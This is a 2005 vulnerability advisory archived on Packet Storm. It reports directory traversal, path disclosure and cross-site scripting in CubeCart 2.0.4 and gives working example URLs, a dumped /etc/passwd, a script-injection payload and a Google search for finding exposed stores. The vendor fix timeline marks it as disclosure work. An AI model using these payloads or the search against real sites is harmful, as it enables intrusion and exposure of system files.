what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

CubeCart204.txt

CubeCart204.txt
Posted Feb 25, 2005
Authored by John Cobb | Site NoBytes.com

CubeCart 2.0.4 is susceptible to full path disclosure, directory traversal, and cross site scripting bugs.

tags | exploit, xss
SHA-256 | 81f97e6ee0721e5fa871122501e8bcb048eb473ab6dbf4f6b188525e71045591

CubeCart204.txt

Change Mirror Download
Hello All,

I have discovered a number of remote vulnerabilities in: CubeCart 2.0.4.

Authors Site: http://www.cubecart.com

CubeCart is described by its authors as:

'What is CubeCart?
CubeCart is an eCommerce script written with PHP & MySQL. With CubeCart you
can setup a powerful online store as long as you have hosting supporting PHP
and one MySQL database.'

A quick check on Google reveals there are a possible 150,000+ websites
possibly vulnerable:

http://www.google.co.uk/search?hl=en&safe=off&q=%22%28powered+by+CubeCart%29
%22&btnG=Search&meta=

+-[Examples:]--------------------------------------------------+

[1]------------------------------------------------------------+

Directory Traversal:

http://www.victimsite.com/index.php?&language=../../../../../../../../etc/pa
sswd

Result:

root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin ftp:x:14:50:FTP
User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin
rpm:x:37:37::/var/lib/rpm:/bin/bash vcsa:x:69:69:virtual console memory
owner:/dev:/sbin/nologin nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin rpcuser:x:29:29:RPC Service
User:/var/lib/nfs:/sbin/nologin nfsnobody:x:65534:65534:Anonymous NFS
User:/var/lib/nfs:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
squid:x:23:23::/var/spool/squid:/sbin/nologin
webalizer:x:67:67:Webalizer:/var/www/html/usage:/sbin/nologin xfs:x:43:43:X
Font Server:/etc/X11/fs:/sbin/nologin
named:x:25:25:Named:/var/named:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin gdm:x:42:42::/var/gdm:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
postgres:x:26:26:PostgreSQL Server:/var/lib/pgsql:/bin/bash
johnc:x:500:500:johnc:/home/johnc:/bin/bash
Warning: Cannot add header information - headers already sent by (output
started at /etc/passwd:11) in
/var/www/virtual/www.victimsite.com/html/shoppingcart.php on line 44

[2]------------------------------------------------------------+

Path Disclosure:

http://www.victimsite.com/index.php?&language=w00t

Result:

Warning: Failed opening
'/var/www/virtual/www.victimsite.com/html/admin/lang/w00t' for inclusion
(include_path='.:/usr/share/pear') in
/var/www/virtual/www.victimsite.com/html/admin/settings.inc.php on line 134

Warning: Cannot add header information - headers already sent by (output
started at
/var/www/virtual/www.victimsite.com/html/admin/settings.inc.php:134) in
/var/www/virtual/www.victimsite.com/html/shoppingcart.php on line 44

[3]------------------------------------------------------------+

XSS:

http://www.victimsite.com/index.php?&language=<script>var%20test_variable=31
337;alert(test_variable);</script>

Result:

A nice pop up box.

+-[Notes:]-----------------------------------------------------+

Vulnerabilities found on: 09/02/2005
Author(s) Informed on: 11/02/2005
Author(s) Response: 13/02/2005
Author(s) Fix: 14/02/2005


Regards

John Cobb

JohnC@NoBytes.com

http://www.NoBytes.com

Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    25 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close